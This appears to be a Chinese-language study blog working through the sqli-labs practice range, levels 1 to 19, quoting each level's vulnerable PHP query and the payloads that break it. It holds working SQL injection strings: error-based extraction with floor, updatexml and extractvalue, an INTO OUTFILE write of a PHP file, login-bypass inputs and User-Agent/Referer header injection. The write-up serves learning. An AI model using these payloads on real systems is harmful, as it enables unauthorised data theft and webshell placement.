想想自己最开始瞎搞,接触到的东西就是sql注入,但是除了网站url后面加单引号就啥也不会了。

这次系统的学完sql注入,也再尝试着去把这些知识学明白,渗透还是要去多练习的,就自己搭了sqli-labs的靶场,记一下学习过程。

不一定按照关卡来,一类的就归在一起了,主要是记录自己学习的东西。

复习一下mysql中的三种注释方式:

  • #
  • --
  • /**/

1-2就是单纯的引号的闭合

第一题后端主要代码$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

第二题后端主要代码$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

3-4需要闭合括号和引号

第三题后端主要代码$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

第四题后端主要代码$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

5-6报错注入或盲注

第五题后端主要代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result); //从结果集中取出一行作为数组,返回生成的数组,没有返回false
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{

echo '<font size="3" color= "#FFFF00">';
print_r(mysql_error()); //返回上一个 MySQL 函数的错误文本,没有出错则返回 ''(空字符串)。
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';

}
}
else { echo "Please input the ID as parameter with numeric value";}

三种报错注入方式:

  • 通过floor报错
  • 通过updatexml报错
  • 通过extractvalue报错

floor报错注入原理

语句:union select count(*),1,concat('~',(select schema_name from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x

语句中用到了几个函数:

rand() 随机生成0-1之间的数

1

floor() 向下取整

2

concat() 字符串拼接

4

count() 计数

group by 分组排序

对语句进行分析:

(select schema_name from information_schema.schemata limit 0,1) 取出第一个数据库名

floor(rand(0)*2)生成有规律的数字0,1,1,0,1,1,1………..

3

5

concat('~',(select schema_name from information_schema.schemata limit 0,1),floor(rand(0)*2))x拼接出以下字符串取别名x

~db_name0 ~db_name1 ~db_name1 ~db_name0 …….

concat('~',(select schema_name from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x

以别名x分组排序,这个时候并不能完成报错注入 执行结果如下:

6

看完整代码

union select count(*),1,concat('~',(select schema_name from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x

加上count(*)就构成了报错注入,主要是因为在count()和group by进行分组排序计数的时候,默认x的值为主键,~db_name0 ~db_name1 插入新表时,不会报错,下一个~db_name1插入时,由于主键重复,就会报错~db_name1的内容。

7

updatexml 和extractvalue报错原理

正常情况下updatexml函数的使用方式:UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

报错paylod:updatexml(1,concat(null,(select @@version),null),1);

原理:第二个参数要求为xpath格式的字符串,不符合就报错。最大报错长度32位。

正常情况下extractvalue函数的使用方式:EXTRACTVALUE (XML_document, XPath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)

报错paylod:extractvalue(1,concat(null,(select @@version))

7文件写入

mysql能写shell的要求为管理员权限加上secure_file_priv=on

如何查看是否开启:SHOW variables like '%secure%';

查看是否具有读写权限:and (select count(*) from mysql.user)>0

写入文件:union select 1,"<?php phpinfo(); ?>",3 into outfile "F:\\service\\php_study\\PHPTutorial\\WWW\\sql\\sqli-labs\\Less-7\\1.php"

1

4

8-10布尔型注入

  • 时间判断
  • 返回页面判断

相关函数:

substr length ascii sleep if

比较费劲的注入方式,要自己构造payload一个一个试。

11-17POST型注入

第十一题后台主要代码@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

构造提交的变量闭合语句就可以了

payload:uname=admin'#&passwd=1

第十二题后台主要代码@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

payload:uname=admin")#&passwd=1

第十三题后台主要代码@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

payload:uname=admin' )# &passwd=1

第十四题后台主要代码@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

payload:uname=admin" # &passwd=1

第十五题后台主要代码:

1
2
3
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

payload:uname=admin' # &passwd=1

第十六题后台主要代码:

1
2
3
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

payload:uname=admin") # &passwd=1

第十七题后台主要代码:$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

payload:uname=admin &passwd=1'#

17

18-19head头注入

源码中对传入的uname和passwd都进行了检查,但是我们可以利用对http请求头中内容从查询$uagent = $_SERVER['HTTP_USER_AGENT'];$IP = $_SERVER['REMOTE_ADDR'];进行注入。

第十八题后台主要代码:$insert="INSERT INTOsecurity.uagents(uagent,ip_address,username) VALUES ('$uagent', '$IP', $uname)";;

利用burp抓包更改User-Agent

1

payload:'and '1'='1

11

第十九题后台主要代码:$insert="INSERT INTOsecurity.referers(referer,ip_address) VALUES ('$uagent', '$IP')";

利用burp抓包更改Referer

6

payload:and '1'='1

9


未完待续……

人们只愿看到自己想看到的一切,分不清是非对错,黑白颠倒。–Hades